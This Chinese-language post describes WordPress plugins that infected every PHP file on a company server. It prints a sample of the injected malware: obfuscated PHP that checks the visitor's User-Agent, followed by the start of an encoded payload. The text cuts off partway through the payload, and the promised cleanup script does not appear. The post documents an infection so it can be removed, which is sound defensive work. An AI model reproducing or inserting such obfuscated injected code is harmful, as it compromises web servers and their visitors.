公司一些wordpress网站由于下载的插件存在恶意代码，导致整个服务器所有网站PHP文件都存在恶意代码，就写了个简单的脚本清除。恶意代码示例复制代码代码如下:
php if(!isset($GLOBALS["/x61/156/x75/156/x61"])) { $ua=strtolower($_SERVER["/x48/124/x54/120/x5f/125/x53/105/x52/137/x41/107/x45/116/x54"]); if ((! strstr($ua,"/x6d/163/x69/145")) and (! strstr($ua,"/x72/166/x3a/61/x31"))) $GLOBALS["/x61/156/x75/156/x61"]=1; } php $bssaiikhvn = '61]y33]68]y34]68]y33]65]y31]53]y6d]281]y43]78]y3x66%152%x66%147%x67%42%x2c%163%x74%162%x5f%163%x70%154%x6x7860MPT7-NBFSUT%x5c%x7860LDPT7-UFOJ%x5c%x7860GB)fubfsdXA%x5c%x78!
